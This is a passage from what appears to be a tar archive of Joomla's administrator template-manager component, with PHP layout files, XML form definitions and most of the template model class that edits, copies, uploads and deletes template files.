 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_COPY'); ?></button>
com_templates/views/template/tmpl/default_modal_rename_body.php000060400000001655152455305270021214 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div id="template-manager-rename" class="container-fluid">
	<div class="row-fluid">
		<div class="form-horizontal">
			<div class="control-group">
				<div class="control-label">
					<label for="new_name" class="modalTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('COM_TEMPLATES_NEW_FILE_NAME')); ?>">
						<?php echo JText::_('COM_TEMPLATES_NEW_FILE_NAME')?>
					</label>
				</div>
				<div class="controls">
					<div class="input-append">
						<input class="input-xlarge" type="text" name="new_name" required />
						<span class="add-on">.<?php echo JFile::getExt($this->fileName); ?></span>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>
com_templates/models/forms/filter_templates.xml000060400000002406152455305270016104 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_templates/models/fields" />
	<field
		name="client_id"
		type="list"
		filtermode="selector"
		onchange="jQuery('#filter_search, select[id^=filter_], #list_fullordering').val('');this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="JSEARCH_FILTER"
			description="COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.element ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.element ASC">COM_TEMPLATES_HEADING_TEMPLATE_ASC</option>
			<option value="a.element DESC">COM_TEMPLATES_HEADING_TEMPLATE_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_templates/models/forms/style.xml000060400000001637152455305270013706 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			id="id"
			default="0"
			readonly="true"
			class="readonly"
		/>

		<field
			name="template"
			type="text"
			label="COM_TEMPLATES_FIELD_TEMPLATE_LABEL"
			description="COM_TEMPLATES_FIELD_TEMPLATE_DESC"
			class="readonly"
			size="30"
			readonly="true" 
		/>

		<field
			name="client_id"
			type="hidden"
			label="COM_TEMPLATES_FIELD_CLIENT_LABEL"
			description="COM_TEMPLATES_FIELD_CLIENT_DESC"
			class="readonly"
			default="0"
			readonly="true" 
		/>

		<field
			name="title"
			type="text"
			label="COM_TEMPLATES_FIELD_TITLE_LABEL"
			description="COM_TEMPLATES_FIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="50"
			required="true" 
		/>

		<field 
			name="assigned" 
			type="hidden" 
		/>

	</fieldset>
</form>
com_templates/models/forms/style_administrator.xml000060400000000547152455305270016645 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="home"
			type="radio"
			label="COM_TEMPLATES_FIELD_HOME_LABEL"
			description="COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
	</fieldset>
</form>
com_templates/models/forms/style_site.xml000060400000000503152455305270014721 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="home"
			type="contentlanguage"
			label="COM_TEMPLATES_FIELD_HOME_LABEL"
			description="COM_TEMPLATES_FIELD_HOME_SITE_DESC"
			default="0"
			>
			<option value="0">JNO</option>
			<option value="1">JALL</option>
		</field>
	</fieldset>
</form>
com_templates/models/forms/filter_styles.xml000060400000004213152455305270015427 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_templates/models/fields" />
	<field
		name="client_id"
		type="list"
		filtermode="selector"
		onchange="jQuery('#filter_search, select[id^=filter_], #list_fullordering').val('');this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="JSEARCH_FILTER"
			description="COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_TEMPLATES_MSG_MANAGE_NO_STYLES"
		/>
		<field
			name="menuitem"
			type="menuitem"
			label="COM_TEMPLATES_OPTION_SELECT_MENU_ITEM"
			disable="separator,alias,heading,url"
			showon="client_id:0"
			onchange="this.form.submit();"
			>
			<option	value="">COM_TEMPLATES_OPTION_SELECT_MENU_ITEM</option>
			<option	value="-1">COM_TEMPLATES_OPTION_NONE</option>
		</field>
		<field
			name="template"
			type="templatename"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_TEMPLATE</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.template ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.title ASC">COM_TEMPLATES_HEADING_STYLE_ASC</option>
			<option value="a.title DESC">COM_TEMPLATES_HEADING_STYLE_DESC</option>
			<option value="a.home ASC">COM_TEMPLATES_HEADING_DEFAULT_ASC</option>
			<option value="a.home DESC">COM_TEMPLATES_HEADING_DEFAULT_DESC</option>
			<option value="a.template ASC">COM_TEMPLATES_HEADING_TEMPLATE_ASC</option>
			<option value="a.template DESC">COM_TEMPLATES_HEADING_TEMPLATE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
    </fields>
</form>
com_templates/models/forms/source.xml000060400000000701152455305270014035 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="extension_id"
			type="hidden" 
		/>

		<field
			name="filename"
			type="hidden"
		 />

		<field
			name="source"
			type="editor"
			label="COM_TEMPLATES_FIELD_SOURCE_LABEL"
			description="COM_TEMPLATES_FIELD_SOURCE_DESC"
			editor="codemirror|none"
			buttons="no"
			height="500px"
			rows="20"
			cols="80"
			syntax="php"
			filter="raw" 
		/>
	</fieldset>
</form>
com_templates/models/template.php000060400000111003152455305270013207 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Template model class.
 *
 * @since  1.6
 */
class TemplatesModelTemplate extends JModelForm
{
	/**
	 * The information in a template
	 *
	 * @var    stdClass
	 * @since  1.6
	 */
	protected $template = null;

	/**
	 * The path to the template
	 *
	 * @var    stdClass
	 * @since  3.2
	 */
	protected $element = null;

	/**
	 * Internal method to get file properties.
	 *
	 * @param   string  $path  The base path.
	 * @param   string  $name  The file name.
	 *
	 * @return  object
	 *
	 * @since   1.6
	 */
	protected function getFile($path, $name)
	{
		$temp = new stdClass;

		if ($template = $this->getTemplate())
		{
			$temp->name = $name;
			$temp->id = urlencode(base64_encode($path . $name));

			return $temp;
		}
	}

	/**
	 * Method to get a list of all the files to edit in a template.
	 *
	 * @return  array  A nested array of relevant files.
	 *
	 * @since   1.6
	 */
	public function getFiles()
	{
		$result = array();

		if ($template = $this->getTemplate())
		{
			jimport('joomla.filesystem.folder');
			$app    = JFactory::getApplication();
			$client = JApplicationHelper::getClientInfo($template->client_id);
			$path   = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$lang   = JFactory::getLanguage();

			// Load the core and/or local language file(s).
			$lang->load('tpl_' . $template->element, $client->path, null, false, true) ||
			$lang->load('tpl_' . $template->element, $client->path . '/templates/' . $template->element, null, false, true);
			$this->element = $path;

			if (!is_writable($path))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_DIRECTORY_NOT_WRITABLE'), 'error');
			}

			if (is_dir($path))
			{
				$result = $this->getDirectoryTree($path);
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND'), 'error');

				return false;
			}
		}

		return $result;
	}

	/**
	 * Get the directory tree.
	 *
	 * @param   string  $dir  The path of the directory to scan
	 *
	 * @return  array
	 *
	 * @since   3.2
	 */
	public function getDirectoryTree($dir)
	{
		$result = array();

		$dirFiles = scandir($dir);

		foreach ($dirFiles as $key => $value)
		{
			if (!in_array($value, array('.', '..')))
			{
				if (is_dir($dir . $value))
				{
					$relativePath = str_replace($this->element, '', $dir . $value);
					$result['/' . $relativePath] = $this->getDirectoryTree($dir . $value . '/');
				}
				else
				{
					$ext           = pathinfo($dir . $value, PATHINFO_EXTENSION);
					$allowedFormat = $this->checkFormat($ext);

					if ($allowedFormat == true)
					{
						$relativePath = str_replace($this->element, '', $dir);
						$info = $this->getFile('/' . $relativePath, $value);
						$result[] = $info;
					}
				}
			}
		}

		return $result;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		jimport('joomla.filesystem.file');
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState('extension.id', $pk);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_templates');
		$this->setState('params', $params);
	}

	/**
	 * Method to get the template information.
	 *
	 * @return  mixed  Object if successful, false if not and internal error is set.
	 *
	 * @since   1.6
	 */
	public function &getTemplate()
	{
		if (empty($this->template))
		{
			$pk  = $this->getState('extension.id');
			$db  = $this->getDbo();
			$app = JFactory::getApplication();

			// Get the template information.
			$query = $db->getQuery(true)
				->select('extension_id, client_id, element, name, manifest_cache')
				->from('#__extensions')
				->where($db->quoteName('extension_id') . ' = ' . (int) $pk)
				->where($db->quoteName('type') . ' = ' . $db->quote('template'));
			$db->setQuery($query);

			try
			{
				$result = $db->loadObject();
			}
			catch (RuntimeException $e)
			{
				$app->enqueueMessage($e->getMessage(), 'warning');
				$this->template = false;

				return false;
			}

			if (empty($result))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND'), 'error');
				$this->template = false;
			}
			else
			{
				$this->template = $result;
			}
		}

		return $this->template;
	}

	/**
	 * Method to check if new template name already exists
	 *
	 * @return  boolean   true if name is not used, false otherwise
	 *
	 * @since	2.5
	 */
	public function checkNewName()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from('#__extensions')
			->where('name = ' . $db->quote($this->getState('new_name')));
		$db->setQuery($query);

		return ($db->loadResult() == 0);
	}

	/**
	 * Method to check if new template name already exists
	 *
	 * @return  string     name of current template
	 *
	 * @since	2.5
	 */
	public function getFromName()
	{
		return $this->getTemplate()->element;
	}

	/**
	 * Method to check if new template name already exists
	 *
	 * @return  boolean   true if name is not used, false otherwise
	 *
	 * @since	2.5
	 */
	public function copy()
	{
		$app = JFactory::getApplication();

		if ($template = $this->getTemplate())
		{
			jimport('joomla.filesystem.folder');
			$client = JApplicationHelper::getClientInfo($template->client_id);
			$fromPath = JPath::clean($client->path . '/templates/' . $template->element . '/');

			// Delete new folder if it exists
			$toPath = $this->getState('to_path');

			if (JFolder::exists($toPath))
			{
				if (!JFolder::delete($toPath))
				{
					$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_COULD_NOT_WRITE'), 'error');

					return false;
				}
			}

			// Copy all files from $fromName template to $newName folder
			if (!JFolder::copy($fromPath, $toPath) || !$this->fixTemplateName())
			{
				return false;
			}

			return true;
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INVALID_FROM_NAME'), 'error');

			return false;
		}
	}

	/**
	 * Method to delete tmp folder
	 *
	 * @return  boolean   true if delete successful, false otherwise
	 *
	 * @since	2.5
	 */
	public function cleanup()
	{
		// Clear installation messages
		$app = JFactory::getApplication();
		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		// Delete temporary directory
		return JFolder::delete($this->getState('to_path'));
	}

	/**
	 * Method to rename the template in the XML files and rename the language files
	 *
	 * @return  boolean  true if successful, false otherwise
	 *
	 * @since	2.5
	 */
	protected function fixTemplateName()
	{
		// Rename Language files
		// Get list of language files
		$result   = true;
		$files    = JFolder::files($this->getState('to_path'), '.ini', true, true);
		$newName  = strtolower($this->getState('new_name'));
		$template = $this->getTemplate();
		$oldName  = $template->element;
		$manifest = json_decode($template->manifest_cache);

		jimport('joomla.filesystem.file');

		foreach ($files as $file)
		{
			$newFile = '/' . str_replace($oldName, $newName, basename($file));
			$result  = JFile::move($file, dirname($file) . $newFile) && $result;
		}

		// Edit XML file
		$xmlFile = $this->getState('to_path') . '/templateDetails.xml';

		if (JFile::exists($xmlFile))
		{
			$contents = file_get_contents($xmlFile);
			$pattern[] = '#<name>\s*' . $manifest->name . '\s*</name>#i';
			$replace[] = '<name>' . $newName . '</name>';
			$pattern[] = '#<language(.*)' . $oldName . '(.*)</language>#';
			$replace[] = '<language${1}' . $newName . '${2}</language>';
			$contents = preg_replace($pattern, $replace, $contents);
			$result = JFile::write($xmlFile, $contents) && $result;
		}

		return $result;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$app = JFactory::getApplication();

		// Codemirror or Editor None should be enabled
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from('#__extensions as a')
			->where(
				'(a.name =' . $db->quote('plg_editors_codemirror') .
				' AND a.enabled = 1) OR (a.name =' .
				$db->quote('plg_editors_none') .
				' AND a.enabled = 1)'
			);
		$db->setQuery($query);
		$state = $db->loadResult();

		if ((int) $state < 1)
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_EDITOR_DISABLED'), 'warning');
		}

		// Get the form.
		$form = $this->loadForm('com_templates.source', 'source', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$data = $this->getSource();

		$this->preprocessData('com_templates.source', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function &getSource()
	{
		$app = JFactory::getApplication();
		$item = new stdClass;

		if (!$this->template)
		{
			$this->getTemplate();
		}

		if ($this->template)
		{
			$input    = JFactory::getApplication()->input;
			$fileName = base64_decode($input->get('file'));
			$client   = JApplicationHelper::getClientInfo($this->template->client_id);

			try
			{
				$filePath = JPath::check($client->path . '/templates/' . $this->template->element . '/' . $fileName);
			}
			catch (Exception $e)
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND'), 'error');

				return;
			}

			if (file_exists($filePath))
			{
				$item->extension_id = $this->getState('extension.id');
				$item->filename = $fileName;
				$item->source = file_get_contents($filePath);
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND'), 'error');
			}
		}

		return $item;
	}

	/**
	 * Method to store the source file contents.
	 *
	 * @param   array  $data  The source data to save.
	 *
	 * @return  boolean  True on success, false otherwise and internal error set.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		jimport('joomla.filesystem.file');

		// Get the template.
		$template = $this->getTemplate();

		if (empty($template))
		{
			return false;
		}

		$app = JFactory::getApplication();
		$fileName = base64_decode($app->input->get('file'));
		$client = JApplicationHelper::getClientInfo($template->client_id);
		$filePath = JPath::clean($client->path . '/templates/' . $template->element . '/' . $fileName);

		// Include the extension plugins for the save events.
		JPluginHelper::importPlugin('extension');

		$user = get_current_user();
		chown($filePath, $user);
		JPath::setPermissions($filePath, '0644');

		// Try to make the template file writable.
		if (!is_writable($filePath))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE'), 'warning');
			$app->enqueueMessage(JText::sprintf('COM_TEMPLATES_FILE_PERMISSIONS', JPath::getPermissions($filePath)), 'warning');

			if (!JPath::isOwner($filePath))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_CHECK_FILE_OWNERSHIP'), 'warning');
			}

			return false;
		}

		// Make sure EOL is Unix
		$data['source'] = str_replace(array("\r\n", "\r"), "\n", $data['source']);

		$return = JFile::write($filePath, $data['source']);

		if (!$return)
		{
			$app->enqueueMessage(JText::sprintf('COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME', $fileName), 'error');

			return false;
		}

		// Get the extension of the changed file.
		$explodeArray = explode('.', $fileName);
		$ext = end($explodeArray);

		if ($ext == 'less')
		{
			$app->enqueueMessage(JText::sprintf('COM_TEMPLATES_COMPILE_LESS', $fileName));
		}

		return true;
	}

	/**
	 * Get overrides folder.
	 *
	 * @param   string  $name  The name of override.
	 * @param   string  $path  Location of override.
	 *
	 * @return  object  containing override name and path.
	 *
	 * @since   3.2
	 */
	public function getOverridesFolder($name,$path)
	{
		$folder = new stdClass;
		$folder->name = $name;
		$folder->path = base64_encode($path . $name);

		return $folder;
	}

	/**
	 * Get a list of overrides.
	 *
	 * @return  array containing overrides.
	 *
	 * @since   3.2
	 */
	public function getOverridesList()
	{
		if ($template = $this->getTemplate())
		{
			$client        = JApplicationHelper::getClientInfo($template->client_id);
			$componentPath = JPath::clean($client->path . '/components/');
			$modulePath    = JPath::clean($client->path . '/modules/');
			$pluginPath    = JPath::clean(JPATH_ROOT . '/plugins/');
			$layoutPath    = JPath::clean(JPATH_ROOT . '/layouts/');
			$components    = JFolder::folders($componentPath);

			foreach ($components as $component)
			{
				if (file_exists($componentPath . '/' . $component . '/views/'))
				{
					$viewPath = JPath::clean($componentPath . '/' . $component . '/views/');
				}
				elseif (file_exists($componentPath . '/' . $component . '/view/'))
				{
					$viewPath = JPath::clean($componentPath . '/' . $component . '/view/');
				}
				else
				{
					$viewPath = '';
				}

				if ($viewPath)
				{
					$views = JFolder::folders($viewPath);

					foreach ($views as $view)
					{
						// Only show the view has layout inside it
						if (file_exists($viewPath . $view . '/tmpl'))
						{
							$result['components'][$component][] = $this->getOverridesFolder($view, $viewPath);
						}
					}
				}
			}

			foreach (JFolder::folders($pluginPath) as $pluginGroup)
			{
				foreach (JFolder::folders($pluginPath . '/' . $pluginGroup) as $plugin)
				{
					if (file_exists($pluginPath . '/' . $pluginGroup . '/' . $plugin . '/tmpl/'))
					{
						$pluginLayoutPath = JPath::clean($pluginPath . '/' . $pluginGroup . '/');
						$result['plugins'][$pluginGroup][] = $this->getOverridesFolder($plugin, $pluginLayoutPath);
					}
				}
			}

			$modules = JFolder::folders($modulePath);

			foreach ($modules as $module)
			{
				$result['modules'][] = $this->getOverridesFolder($module, $modulePath);
			}

			$layoutFolders = JFolder::folders($layoutPath);

			foreach ($layoutFolders as $layoutFolder)
			{
				$layoutFolderPath = JPath::clean($layoutPath . '/' . $layoutFolder . '/');
				$layouts = JFolder::folders($layoutFolderPath);

				foreach ($layouts as $layout)
				{
					$result['layouts'][$layoutFolder][] = $this->getOverridesFolder($layout, $layoutFolderPath);
				}
			}

			// Check for layouts in component folders
			foreach ($components as $component)
			{
				if (file_exists($componentPath . '/' . $component . '/layouts/'))
				{
					$componentLayoutPath = JPath::clean($componentPath . '/' . $component . '/layouts/');

					if ($componentLayoutPath)
					{
						$layouts = JFolder::folders($componentLayoutPath);

						foreach ($layouts as $layout)
						{
							$result['layouts'][$component][] = $this->getOverridesFolder($layout, $componentLayoutPath);
						}
					}
				}
			}
		}

		if (!empty($result))
		{
			return $result;
		}
	}

	/**
	 * Create overrides.
	 *
	 * @param   string  $override  The override location.
	 *
	 * @return   boolean  true if override creation is successful, false otherwise
	 *
	 * @since   3.2
	 */
	public function createOverride($override)
	{
		jimport('joomla.filesystem.folder');

		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$explodeArray = explode(DIRECTORY_SEPARATOR, $override);
			$name         = end($explodeArray);
			$client       = JApplicationHelper::getClientInfo($template->client_id);

			if (stristr($name, 'mod_') != false)
			{
				$htmlPath   = JPath::clean($client->path . '/templates/' . $template->element . '/html/' . $name);
			}
			elseif (stristr($override, 'com_') != false)
			{
				$size = count($explodeArray);

				$url = JPath::clean($explodeArray[$size - 3] . '/' . $explodeArray[$size - 1]);

				if ($explodeArray[$size - 2] == 'layouts')
				{
					$htmlPath = JPath::clean($client->path . '/templates/' . $template->element . '/html/layouts/' . $url);
				}
				else
				{
					$htmlPath = JPath::clean($client->path . '/templates/' . $template->element . '/html/' . $url);
				}
			}
			elseif (stripos($override, JPath::clean(JPATH_ROOT . '/plugins/')) === 0)
			{
				$size       = count($explodeArray);
				$layoutPath = JPath::clean('plg_' . $explodeArray[$size - 2] . '_' . $explodeArray[$size - 1]);
				$htmlPath   = JPath::clean($client->path . '/templates/' . $template->element . '/html/' . $layoutPath);
			}
			else
			{
				$layoutPath = implode('/', array_slice($explodeArray, -2));
				$htmlPath   = JPath::clean($client->path . '/templates/' . $template->element . '/html/layouts/' . $layoutPath);
			}

			// Check Html folder, create if not exist
			if (!JFolder::exists($htmlPath))
			{
				if (!JFolder::create($htmlPath))
				{
					$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_ERROR'), 'error');

					return false;
				}
			}

			if (stristr($name, 'mod_') != false)
			{
				$return = $this->createTemplateOverride(JPath::clean($override . '/tmpl'), $htmlPath);
			}
			elseif (stristr($override, 'com_') != false && stristr($override, 'layouts') == false)
			{
				$return = $this->createTemplateOverride(JPath::clean($override . '/tmpl'), $htmlPath);
			}
			elseif (stripos($override, JPath::clean(JPATH_ROOT . '/plugins/')) === 0)
			{
				$return = $this->createTemplateOverride(JPath::clean($override . '/tmpl'), $htmlPath);
			}
			else
			{
				$return = $this->createTemplateOverride($override, $htmlPath);
			}

			if ($return)
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_OVERRIDE_CREATED') . str_replace(JPATH_ROOT, '', $htmlPath));

				return true;
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_OVERRIDE_FAILED'), 'error');

				return false;
			}
		}
	}

	/**
	 * Create override folder & file
	 *
	 * @param   string  $overridePath  The override location
	 * @param   string  $htmlPath      The html location
	 *
	 * @return  boolean                True on success. False otherwise.
	 */
	public function createTemplateOverride($overridePath, $htmlPath)
	{
		$return = false;

		if (empty($overridePath) || empty($htmlPath))
		{
			return $return;
		}

		// Get list of template folders
		$folders = JFolder::folders($overridePath, null, true, true);

		if (!empty($folders))
		{
			foreach ($folders as $folder)
			{
				$htmlFolder = $htmlPath . str_replace($overridePath, '', $folder);

				if (!JFolder::exists($htmlFolder))
				{
					JFolder::create($htmlFolder);
				}
			}
		}

		// Get list of template files (Only get *.php file for template file)
		$files = JFolder::files($overridePath, '.php', true, true);

		if (empty($files))
		{
			return true;
		}

		foreach ($files as $file)
		{
			$overrideFilePath = str_replace($overridePath, '', $file);
			$htmlFilePath = $htmlPath . $overrideFilePath;

			if (JFile::exists($htmlFilePath))
			{
				// Generate new unique file name base on current time
				$today = JFactory::getDate();
				$htmlFilePath = JFile::stripExt($htmlFilePath) . '-' . $today->format('Ymd-His') . '.' . JFile::getExt($htmlFilePath);
			}

			$return = JFile::copy($file, $htmlFilePath, '', true);
		}

		return $return;
	}

	/**
	 * Compile less using the less compiler under /build.
	 *
	 * @param   string  $input  The relative location of the less file.
	 *
	 * @return  boolean  true if compilation is successful, false otherwise
	 *
	 * @since   3.2
	 */
	public function compileLess($input)
	{
		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$client       = JApplicationHelper::getClientInfo($template->client_id);
			$path         = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$inFile       = urldecode(base64_decode($input));
			$explodeArray = explode('/', $inFile);
			$fileName     = end($explodeArray);
			$outFile      = current(explode('.', $fileName));

			$less = new JLess;
			$less->setFormatter(new JLessFormatterJoomla);

			try
			{
				$less->compileFile($path . $inFile, $path . 'css/' . $outFile . '.css');

				return true;
			}
			catch (Exception $e)
			{
				$app->enqueueMessage($e->getMessage(), 'error');
			}
		}
	}

	/**
	 * Delete a particular file.
	 *
	 * @param   string  $file  The relative location of the file.
	 *
	 * @return   boolean  True if file deletion is successful, false otherwise
	 *
	 * @since   3.2
	 */
	public function deleteFile($file)
	{
		if ($template = $this->getTemplate())
		{
			$app      = JFactory::getApplication();
			$client   = JApplicationHelper::getClientInfo($template->client_id);
			$path     = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$filePath = $path . urldecode(base64_decode($file));

			$return = JFile::delete($filePath);

			if (!$return)
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_DELETE_FAIL'), 'error');

				return false;
			}

			return true;
		}
	}

	/**
	 * Create new file.
	 *
	 * @param   string  $name      The name of file.
	 * @param   string  $type      The extension of the file.
	 * @param   string  $location  Location for the new file.
	 *
	 * @return  boolean  true if file created successfully, false otherwise
	 *
	 * @since   3.2
	 */
	public function createFile($name, $type, $location)
	{
		if ($template = $this->getTemplate())
		{
			$app    = JFactory::getApplication();
			$client = JApplicationHelper::getClientInfo($template->client_id);
			$path   = JPath::clean($client->path . '/templates/' . $template->element . '/');

			if (file_exists(JPath::clean($path . '/' . $location . '/' . $name . '.' . $type)))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_EXISTS'), 'error');

				return false;
			}

			if (!fopen(JPath::clean($path . '/' . $location . '/' . $name . '.' . $type), 'x'))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_CREATE_ERROR'), 'error');

				return false;
			}

			// Check if the format is allowed and will be showed in the backend
			$check = $this->checkFormat($type);

			// Add a message if we are not allowed to show this file in the backend.
			if (!$check)
			{
				$app->enqueueMessage(JText::sprintf('COM_TEMPLATES_WARNING_FORMAT_WILL_NOT_BE_VISIBLE', $type), 'warning');
			}

			return true;
		}
	}

	/**
	 * Upload new file.
	 *
	 * @param   string  $file      The name of the file.
	 * @param   string  $location  Location for the new file.
	 *
	 * @return   boolean  True if file uploaded successfully, false otherwise
	 *
	 * @since   3.2
	 */
	public function uploadFile($file, $location)
	{
		jimport('joomla.filesystem.folder');

		if ($template = $this->getTemplate())
		{
			$app      = JFactory::getApplication();
			$client   = JApplicationHelper::getClientInfo($template->client_id);
			$path     = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$fileName = JFile::makeSafe($file['name']);

			$err = null;
			JLoader::register('TemplateHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/template.php');

			if (!TemplateHelper::canUpload($file, $err))
			{
				// Can't upload the file
				return false;
			}

			if (file_exists(JPath::clean($path . '/' . $location . '/' . $file['name'])))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_EXISTS'), 'error');

				return false;
			}

			if (!JFile::upload($file['tmp_name'], JPath::clean($path . '/' . $location . '/' . $fileName)))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_UPLOAD_ERROR'), 'error');

				return false;
			}

			$url = JPath::clean($location . '/' . $fileName);

			return $url;
		}
	}

	/**
	 * Create new folder.
	 *
	 * @param   string  $name      The name of the new folder.
	 * @param   string  $location  Location for the new folder.
	 *
	 * @return   boolean  True if override folder is created successfully, false otherwise
	 *
	 * @since   3.2
	 */
	public function createFolder($name, $location)
	{
		jimport('joomla.filesystem.folder');

		if ($template = $this->getTemplate())
		{
			$app    = JFactory::getApplication();
			$client = JApplicationHelper::getClientInfo($template->client_id);
			$path   = JPath::clean($client->path . '/templates/' . $template->element . '/');

			if (file_exists(JPath::clean($path . '/' . $location . '/' . $name . '/')))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_EXISTS'), 'error');

				return false;
			}

			if (!JFolder::create(JPath::clean($path . '/' . $location . '/' . $name)))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_CREATE_ERROR'), 'error');

				return false;
			}

			return true;
		}
	}

	/**
	 * Delete a folder.
	 *
	 * @param   string  $location  The name and location of the folder.
	 *
	 * @return  boolean  True if override folder is deleted successfully, false otherwise
	 *
	 * @since   3.2
	 */
	public function deleteFolder($location)
	{
		jimport('joomla.filesystem.folder');

		if ($template = $this->getTemplate())
		{
